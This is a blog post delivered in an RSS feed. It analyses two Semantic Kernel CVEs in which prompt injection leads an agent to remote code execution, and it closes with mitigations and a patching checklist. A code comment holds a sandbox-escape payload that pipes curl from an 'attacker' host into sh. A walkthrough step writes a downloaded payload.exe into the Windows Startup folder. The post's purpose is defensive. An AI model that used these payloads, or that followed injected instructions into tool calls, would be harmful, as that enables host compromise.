<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>CVE-2026-25592 on RockB</title><link>https://baeseokjae.github.io/tags/cve-2026-25592/</link><description>Recent content in CVE-2026-25592 on RockB</description><image><title>RockB</title><url>https://baeseokjae.github.io/images/og-default.png</url><link>https://baeseokjae.github.io/images/og-default.png</link></image><generator>Hugo</generator><language>en-us</language><lastBuildDate>Tue, 07 Jul 2026 00:00:00 +0000</lastBuildDate><atom:link href="https://baeseokjae.github.io/tags/cve-2026-25592/index.xml" rel="self" type="application/rss+xml"/><item><title>Semantic Kernel Agent RCE Vulnerabilities Guide 2026: When Prompt Injection Becomes Code Execution</title><link>https://baeseokjae.github.io/posts/semantic-kernel-agent-rce-vulnerabilities-guide-2026/</link><pubDate>Tue, 07 Jul 2026 00:00:00 +0000</pubDate><guid>https://baeseokjae.github.io/posts/semantic-kernel-agent-rce-vulnerabilities-guide-2026/</guid><description>A technical breakdown of CVE-2026-26030 and CVE-2026-25592 — two critical RCE vulnerabilities in Microsoft&amp;#39;s Semantic Kernel that turned prompt injection into host compromise. Includes exploit mechanics, mitigation steps, and lessons for every agent framework.</description><content:encoded><![CDATA[<p>If you&rsquo;re building AI agents with Microsoft&rsquo;s Semantic Kernel, stop and check your version right now. Two critical vulnerabilities — CVE-2026-26030 (CVSS 9.9) and CVE-2026-25592 (CVSS 9.9) — turn prompt injection from a content-quality annoyance into a full host compromise primitive. I&rsquo;ve spent the last few weeks digging into both exploits, and the implications go far beyond Semantic Kernel itself.</p>
<p>Here&rsquo;s the uncomfortable truth: <strong>AI models are not security boundaries</strong>. Every parameter an LLM can influence when calling a tool is attacker-controlled input. If your framework passes that input to <code>eval()</code>, a file write function, or a shell command without validation, you&rsquo;ve built a remote code execution vector that only needs a cleverly crafted prompt to trigger.</p>
<h2 id="the-two-vulnerabilities-at-a-glance">The Two Vulnerabilities at a Glance</h2>
<table>
  <thead>
      <tr>
          <th>CVE</th>
          <th>Component</th>
          <th>CVSS</th>
          <th>Attack Vector</th>
          <th>Patched In</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>CVE-2026-26030</td>
          <td>Python SDK <code>InMemoryVectorStore</code></td>
          <td>9.9 (Critical)</td>
          <td>Prompt injection → search filter → <code>eval()</code> → RCE</td>
          <td><code>python-1.39.4</code></td>
      </tr>
      <tr>
          <td>CVE-2026-25592</td>
          <td>.NET SDK <code>SessionsPythonPlugin</code></td>
          <td>9.9 (Critical)</td>
          <td>Prompt injection → <code>DownloadFileAsync</code> → arbitrary file write → RCE</td>
          <td><code>1.71.0</code></td>
      </tr>
  </tbody>
</table>
<p>Both were disclosed in early 2026. Both earned a 9.9 CVSS because they require no special privileges, no user interaction beyond the initial prompt, and the impact is total host compromise.</p>
<h2 id="cve-2026-26030-the-python-eval-sink">CVE-2026-26030: The Python eval() Sink</h2>
<p>This one is the more technically interesting of the two. Semantic Kernel&rsquo;s <code>InMemoryVectorStore</code> — a vector store used for in-memory semantic search — accepts a <code>filter</code> parameter that gets converted into a Python lambda expression and passed to <code>eval()</code>.</p>
<p>Here&rsquo;s the chain:</p>
<ol>
<li>An attacker crafts a prompt that tells the agent to search the vector store with a malicious filter string</li>
<li>The filter string is interpolated into a lambda: <code>lambda x: {filter_string}</code></li>
<li>That lambda string is passed to Python&rsquo;s built-in <code>eval()</code></li>
<li>The original code had an AST blocklist — it tried to block dangerous operations by checking the parsed AST for forbidden node types</li>
<li>The bypass: traverse Python&rsquo;s class hierarchy via <code>BuiltinImporter</code> → <code>load_module</code> → <code>os.system</code></li>
</ol>
<p>The AST blocklist approach is the classic security mistake in dynamic languages. Python&rsquo;s object model is too rich to blocklist effectively. The fix in <code>python-1.39.4</code> replaces it with an allowlist approach: only specific AST node types are permitted, function calls are restricted to an explicit allowlist, and dangerous attribute access is blocked at the AST level rather than at runtime.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#75715e"># Vulnerable pattern (simplified)</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">_build_lambda</span>(filter_string: str):
</span></span><span style="display:flex;"><span>    <span style="color:#75715e"># AST blocklist — fragile by design</span>
</span></span><span style="display:flex;"><span>    tree <span style="color:#f92672">=</span> ast<span style="color:#f92672">.</span>parse(<span style="color:#e6db74">f</span><span style="color:#e6db74">&#34;lambda x: </span><span style="color:#e6db74">{</span>filter_string<span style="color:#e6db74">}</span><span style="color:#e6db74">&#34;</span>)
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">for</span> node <span style="color:#f92672">in</span> ast<span style="color:#f92672">.</span>walk(tree):
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">if</span> type(node) <span style="color:#f92672">in</span> BLOCKLIST:
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">raise</span> <span style="color:#a6e22e">ValueError</span>(<span style="color:#e6db74">&#34;Forbidden construct&#34;</span>)
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> eval(compile(tree, <span style="color:#e6db74">&#34;&lt;string&gt;&#34;</span>, <span style="color:#e6db74">&#34;eval&#34;</span>))
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Bypass: BuiltinImporter.load_module(&#34;os&#34;).system(&#34;curl http://attacker/payload | sh&#34;)</span>
</span></span></code></pre></div><p>The bypass works because <code>BuiltinImporter</code> is a built-in class that can load arbitrary modules. The AST blocklist didn&rsquo;t account for class hierarchy traversal — you don&rsquo;t need <code>import</code> or <code>__import__</code> when you can walk up the type hierarchy of any accessible object to find <code>BuiltinImporter</code>, call <code>load_module(&quot;os&quot;)</code>, and then call <code>system()</code>.</p>
<p><strong>If you&rsquo;re using <code>InMemoryVectorStore</code> in production, stop.</strong> It was never designed for untrusted input. The patched version is safer, but the fundamental design — building executable code from string interpolation — is something I&rsquo;d avoid entirely for any store that processes AI-generated content.</p>
<h2 id="cve-2026-25592-the-accidental-kernelfunction">CVE-2026-25592: The Accidental KernelFunction</h2>
<p>This one is almost comical in its simplicity. Semantic Kernel&rsquo;s .NET <code>SessionsPythonPlugin</code> has a <code>DownloadFileAsync</code> method that downloads a file from a URL to a local path. Someone marked it with <code>[KernelFunction]</code> — the attribute that exposes a method as an AI-callable tool.</p>
<p>That&rsquo;s it. No authentication check. No path validation. No confirmation dialog. An AI agent can call <code>DownloadFileAsync</code> with any URL and any local file path, and the framework happily writes the file.</p>
<p>The attack scenario on Windows is straightforward:</p>
<ol>
<li>Prompt injection tells the agent to download a malicious executable</li>
<li>The agent calls <code>DownloadFileAsync(&quot;http://attacker/payload.exe&quot;, &quot;C:\\Users\\Victim\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\payload.exe&quot;)</code></li>
<li>Next time the user signs in, the payload executes</li>
</ol>
<p>The fix in <code>1.71.0</code> does two things: removes the <code>[KernelFunction]</code> attribute from <code>DownloadFileAsync</code>, and adds <code>ValidateLocalPathForDownload()</code> that checks the destination path against an allowlist of permitted directories.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-csharp" data-lang="csharp"><span style="display:flex;"><span><span style="color:#75715e">// Before (vulnerable)</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">[KernelFunction]</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">public</span> <span style="color:#66d9ef">async</span> Task DownloadFileAsync(<span style="color:#66d9ef">string</span> url, <span style="color:#66d9ef">string</span> localFilePath)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">using</span> var client = <span style="color:#66d9ef">new</span> HttpClient();
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">var</span> data = <span style="color:#66d9ef">await</span> client.GetByteArrayAsync(url);
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">await</span> File.WriteAllBytesAsync(localFilePath, data);
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">// After (patched in 1.71.0)</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">// [KernelFunction] removed entirely</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">// Path validation added</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">private</span> <span style="color:#66d9ef">string</span> ValidateLocalPathForDownload(<span style="color:#66d9ef">string</span> path)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">// Only allow paths under a configured safe directory</span>
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>The lesson here applies to every framework: <strong>every public method annotated as a tool is a potential attack surface</strong>. Before you add <code>[KernelFunction]</code>, <code>@tool</code>, or <code>@agent_function</code> to a method, ask yourself: &ldquo;What happens if an attacker controls every parameter of this method?&rdquo;</p>
<h2 id="why-these-matter-beyond-semantic-kernel">Why These Matter Beyond Semantic Kernel</h2>
<p>Semantic Kernel has 27,000+ GitHub stars and is embedded in Microsoft 365 Copilot, Azure Container Apps dynamic sessions, and countless enterprise RAG applications. But the vulnerability class isn&rsquo;t unique to Microsoft&rsquo;s framework.</p>
<p>LangChain had similar issues with <code>eval()</code> in its early Python REPL tool. CrewAI&rsquo;s tool system passes model-generated parameters directly to function calls. AutoGen&rsquo;s code execution sandbox has been <a href="https://baeseokjae.github.io/posts/semantic-kernel-autogen-migration-agent-framework-2026/">bypassed multiple times</a>. Every agent framework that wires LLM outputs to tool calls without parameter validation has the same fundamental problem.</p>
<p>The pattern is always the same:</p>
<ol>
<li>Framework exposes a tool that takes a string parameter</li>
<li>The LLM generates the parameter value based on user + system prompt</li>
<li>Prompt injection contaminates the parameter</li>
<li>The framework passes the contaminated parameter to a sensitive sink (<code>eval()</code>, file write, shell command)</li>
<li>Host compromise</li>
</ol>
<p>I covered <a href="https://baeseokjae.github.io/posts/clean-repo-prompt-injection-defense-guide-2026/">prompt injection defense patterns</a> in a previous post, but these CVEs raise the stakes. Prompt injection isn&rsquo;t just about leaking context or generating offensive content anymore — it&rsquo;s a code execution primitive.</p>
<h2 id="mitigation-checklist">Mitigation Checklist</h2>
<p>If you&rsquo;re running Semantic Kernel today, here&rsquo;s your action plan:</p>
<p><strong>Immediate (today):</strong></p>
<ul>
<li><input disabled="" type="checkbox"> Upgrade Python SDK to <code>&gt;=1.39.4</code></li>
<li><input disabled="" type="checkbox"> Upgrade .NET SDK to <code>&gt;=1.71.0</code></li>
<li><input disabled="" type="checkbox"> Audit all <code>[KernelFunction]</code> / <code>@kernel_function</code> annotations in your codebase</li>
<li><input disabled="" type="checkbox"> Check for any <code>eval()</code>, <code>exec()</code>, or <code>compile()</code> calls in your plugin code</li>
</ul>
<p><strong>Short-term (this week):</strong></p>
<ul>
<li><input disabled="" type="checkbox"> Implement Function Invocation Filters for all file I/O operations</li>
<li><input disabled="" type="checkbox"> Add runtime monitoring for suspicious child processes (cmd.exe, powershell, python -c) spawned by agent host processes</li>
<li><input disabled="" type="checkbox"> Review your vector store choice — <code>InMemoryVectorStore</code> should not be in production pipelines</li>
<li><input disabled="" type="checkbox"> Set up Microsoft Defender advanced hunting queries for post-exploitation indicators (the Microsoft Security Blog post from May 7 has specific KQL queries)</li>
</ul>
<p><strong>Ongoing:</strong></p>
<ul>
<li><input disabled="" type="checkbox"> Treat all AI-influenced parameters as untrusted input — validate, sanitize, and allowlist</li>
<li><input disabled="" type="checkbox"> Prefer allowlist-based validation over blocklist-based for every security check</li>
<li><input disabled="" type="checkbox"> Run <a href="https://baeseokjae.github.io/posts/ai-agent-security-tools-2026/">agent security tooling</a> in your CI pipeline to catch exposed tool surfaces</li>
<li><input disabled="" type="checkbox"> Monitor the <a href="https://baeseokjae.github.io/posts/agent-skills-supply-chain-security-guide-2026/">agent supply chain</a> — third-party plugins and skills are common sources of accidentally exposed functions</li>
</ul>
<h2 id="the-bigger-picture">The Bigger Picture</h2>
<p>What makes these CVEs a watershed moment is that they close the loop on a threat model that the industry has been hand-waving about for two years. We&rsquo;ve known prompt injection was theoretically dangerous. Now we have concrete proof that it can lead to RCE in the most widely-used enterprise agent framework.</p>
<p>The Microsoft Security Blog post from May titled &ldquo;When prompts become shells&rdquo; isn&rsquo;t hyperbole — it&rsquo;s an accurate description of the new reality. Every agent framework needs to treat the tool boundary as a trust boundary, with the same rigor we apply to API endpoints exposed to the internet.</p>
<p>The frameworks that survive this shift will be the ones that build security into the tool abstraction layer itself — not as an afterthought, but as a first-class concern. Parameter validation, capability-based access control, and explicit allowlists for sensitive operations need to be framework features, not something every developer has to implement from scratch.</p>
<p>For now, patch your Semantic Kernel instances, audit your tool annotations, and start treating every parameter the LLM touches as potentially malicious. The era of &ldquo;prompt injection is just a content issue&rdquo; is over.</p>
]]></content:encoded></item></channel></rss>